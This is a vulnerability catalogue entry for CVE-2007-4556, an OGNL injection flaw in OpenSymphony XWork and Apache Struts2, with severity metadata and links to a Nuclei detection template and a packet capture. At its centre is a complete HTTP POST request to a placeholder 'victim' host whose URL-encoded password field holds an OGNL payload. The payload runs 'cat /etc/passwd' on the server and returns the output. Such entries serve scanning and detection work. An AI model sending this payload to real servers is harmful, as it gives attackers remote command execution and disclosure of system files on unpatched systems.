| Title | OpenSymphony XWork/Apache Struts2 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Remote code execution |
| Remediation | Update to the latest version of Apache Struts2 |
| CVSS Score | 6.8 |
| EPSS Score | 0.02359 |
| CVE ID | CVE-2007-4556 |
| CWE ID | NVD-CWE-Other |
| Tags | cve cve2007 apache rce struts opensymphony vuln |
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for”m input beginning with a “%{“ sequence and ending with a “}” character.
POST /login.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 596
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2007/CVE-2007-4556.yaml
🦈 Packet Capture: ⬇️ Download cve-2007-4556.pcap
N/AN/A